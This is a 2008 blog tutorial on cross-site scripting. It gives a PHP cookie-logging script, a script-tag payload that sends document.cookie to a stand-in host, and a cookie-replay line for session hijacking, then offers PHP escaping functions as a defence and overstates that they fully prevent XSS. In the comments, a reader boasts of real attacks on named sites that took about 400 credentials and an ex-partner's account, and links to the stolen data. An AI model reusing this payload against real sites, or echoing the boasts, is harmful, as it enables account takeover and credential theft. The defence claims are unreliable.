Cross Site Scripting (XSS) Posted by: Jordan in XSSSecurityProgrammingPHPJavaScript on
XSS or Cross Site Scripting is the newest trend for hacking and a very popular one. XSS is a very easy method to gain access to a website. Put simply, XSS is injecting a JavaScript forward script into any user input field on a target site. The forward URL will generally be a log script that steals your cookie information (or session ID).

Once the hacker has this information they can take over your account. This is somewhat of a guide and tutorial on XSS with the intention of educating web masters on how attacks occur and the methods to prevent these type of attacks.

Step 1
The hacker will have a script that grabs your information and saves it somewhere (usually a file) that they can retrieve at a later date.

A Sample PHP Log Script:

< ?php
$information=$_GET['info'];
$file=fopen("infolog.txt", "a");
fwrite($file, "$informationn");
fclose($file);
print "Thanks!";
?>

Lets call this script sessionlog.php and pretend the hacker placed it at this URL: http://www.mydomain.com/sessionlog.php


Step 2
Next the hacker will find a target site. The target site must have user input fields and allow the insertion of JavaScript script tags.

A Sample JavaScript Injection Code:

< script >window.location = "http://www.mydomain.com/sessionlog.php?info="+document.cookie < /script>

This code will redirect users to the URL of your choice. In the example above it will redirect the users to our pretend script, http://www.mydomain.com/sessionlog.php with a variable named info which contains the users cookie information.

Step 3 - Your Information
Now that the hacker has your information he/she can then extract the data from the file. They can then return to your site and type the following in the URL.

Javascript:void(document.cookie="variablename=info")

variablename will be replaced with the cookie value name and info will be replaced with the cookie information received from the log script. A simple refresh of the page and they can be a new user (an admin for instance) on the new site.

Protection MethodS - Preventing XSS
I'll note PHP functions here and describe them. For other web scripting languages you can probably find similar functions.

There are three functions in PHP that will prevent XSS.

1. strip_tags() - This function will delete all HTML tags except the ones you allow.

$html_text = strip_tags($html_text);

2. htmlspecialchars() - This function will convert all < and > characters into "<" and ">"

$html_text = htmlspecialchars($html_text);

3. htmlentities() - This function is identical to the above function but converts all characters with entity equivalents.

$html_text = htmlentities($html_text);


Use one of these three methods on all input data. This will prevent an XSS attack from occuring.

 

Need Help?
Ask your security question on our forum in the appropriate section.
Trackback(0)
feed5 Comments
phpforfun
June 10, 2008
67.101.88.195
Votes: +0

Thats weird, I haxxored your site with xss! lol..

and john showed me a GREAT tool, look up html purifier

report abuse
vote down
vote up
Jordan
June 11, 2008
63.211.21.46
Votes: +0

I thought about mentioning that but I didn't. You forgot to steal our cookie information or session data though.

report abuse
vote down
vote up
phpforfun
June 11, 2008
68.110.101.33
Votes: +0

The sessions were hashed, I didnt care too much to do it, I have done it though..

To clansitemanager.com and vampirefreaks.com

I actually still have the logs, on clansitemanager, I used XSS to inject a cookie stealer and foward them to the page they wanted, that account was a master of a website, so I put the same code on his site, then whoever visited his site, I put it on there site too, I got about 400 passwords and usernames, im banned for like 5 years.. lol

report abuse
vote down
vote up
phpforfun
June 11, 2008
68.110.101.33
Votes: +0

Oh, for Vampire freaks, my ex was a goth wannabe, so I got on her account,and typed [removed]alert([removed]), and it said "userid=13123", I used XSS to get his hashed password, changed hers to his pass, and her user ID to 1, and I had full access to the website. The goth owner got PISSED, lol

report abuse
vote down
vote up
phpforfun
June 14, 2008
67.101.88.248
Votes: +0

http://analyzethathost.com/c2.html

those are what I stole

report abuse
vote down
vote up

Write comment
 
 
quote
bold
italicize
underline
strike
url
image
quote
quote
smile
wink
laugh
grin
angry
sad
shocked
cool
tongue
kiss
cry
smaller | bigger
 

security image
Write the displayed characters


busy